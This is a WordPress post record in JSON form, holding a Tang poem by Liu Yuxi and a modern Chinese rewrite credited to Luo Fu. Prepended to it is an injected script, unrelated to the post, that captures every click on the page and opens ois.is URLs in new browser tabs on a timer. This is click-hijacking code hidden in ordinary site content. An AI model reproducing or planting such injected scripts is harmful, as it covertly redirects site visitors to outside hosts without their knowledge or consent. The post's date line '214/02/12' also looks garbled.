<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1254,"date":"2016-03-17T22:19:46","date_gmt":"2016-03-17T14:19:46","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1254"},"modified":"2016-03-17T22:19:46","modified_gmt":"2016-03-17T14:19:46","slug":"%e5%94%90%e8%a9%a9%e8%a7%a3%e6%a7%8b%ef%bc%8f%e6%98%a5%e8%a9%9e%e2%8a%99%e6%b4%9b%e5%a4%ab","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1254","title":{"rendered":"\u5510\u8a69\u89e3\u69cb\uff0f\u6625\u8a5e\u2299\u6d1b\u592b"},"content":{"rendered":"<p style=\"margin: 36pt 36pt 18pt; line-height: 22pt;\"><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #e46c0a;\">\u5510\u8a69\u89e3\u69cb\uff0f<\/span><\/b><b><\/b><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #e46c0a;\">\u6625\u8a5e<\/span><\/b><b><span style=\"font-size: 15pt; font-family: \u7d30\u660e\u9ad4; color: #e46c0a;\">\u2299<\/span><\/b><b><span style=\"font-size: 15pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #e46c0a;\">\u6d1b\u592b<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 9pt 36pt; line-height: 22pt;\"><b><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #0070c0;\">\u539f\u4f5c<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u65b0\u599d\u5b9c\u9762\u4e0b\u6731\u6a13\uff0c<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6df1\u9396\u6625\u5149\u4e00\u9662\u6101\uff0c<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u884c\u5230\u4e2d\u5ead\u6578\u82b1\u6735\uff0c<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u873b\u8713\u98db\u4e0a\u7389\u6414\u982d\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u2500\u2500\u5289\u79b9\u932b<\/span><\/p>\n<p style=\"margin: 9pt 36pt; line-height: 22pt;\"><b><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif; color: #0070c0;\">\u89e3\u69cb\u65b0\u4f5c<\/span><\/b><b><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6625\u4e5f\u597d\uff0c\u6101\u4e5f\u7f77<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e00\u4e0b\u6a13<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5979\u4fbf\u77e5\u9053\u9019\u5169\u8005\u7684\u95dc\u4fc2\u975e\u6bd4\u5c0b\u5e38<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u9662\u5b50\u6df1\u9396<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5230\u54ea\u88e1\u53bb\u5c0b\u627e\u5931\u843d\u5df2\u4e45\u7684<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u7e7e\u7da3<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u65bc\u662f\uff0c\u61f6\u6175\u6175\u5730<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4fe1\u6b65\u5230\u4e86\u4e2d\u5ead<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u9019\u88e1\u7684\u7261\u4e39\u6b63\u7ff9\u9996\uff0c\u7b49\u5f85<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e00\u53ea\u7626\u5c0f\u624b\u6307\u7684\u8f15\u9ede<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e00\uff0c\u4e8c\uff0c\u4e09\uff0c\u56db\uff0c\u4e94<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u53ca\u81f3\u6578\u5230\u7b2c\u516d\u6735\u6642<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u4e00\u96bb\u873b\u8713\u6084\u6084\u505c\u5728\u5979\u7684\u9aee\u7c2a\u4e0a<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5c0f\u5c3e\u5df4\u7ff9\u4e86\u4e00\u7ff9<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5ead\u67f1\u6643\u4e86\u4e00\u6643<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u00a0<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u3010<\/span><span style=\"font-size: 11pt; font-family: 'Times New Roman', serif;\">214\/02\/12 <\/span><span style=\"font-size: 11pt; font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u806f\u5408\u5831\u3011<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; line-height: 22pt;\"><span style=\"font-size: 11pt;\">\u00a0<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5510\u8a69\u89e3\u69cb\uff0f\u6625\u8a5e\u2299\u6d1b\u592b \u539f\u4f5c \u65b0\u599d\u5b9c\u9762\u4e0b\u6731\u6a13\uff0c \u6df1\u9396\u6625\u5149\u4e00\u9662\u6101\uff0c \u884c\u5230\u4e2d\u5ead\u6578\u82b1\u6735\uff0c \u873b\u8713\u98db\u4e0a\u7389\u6414\u982d\u3002 \u00a0 \u00a0 \u00a0 [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[46,1,42,55],"tags":[83,97],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1254"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1254"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1254\/revisions"}],"predecessor-version":[{"id":1255,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1254\/revisions\/1255"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1254"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1254"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1254"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}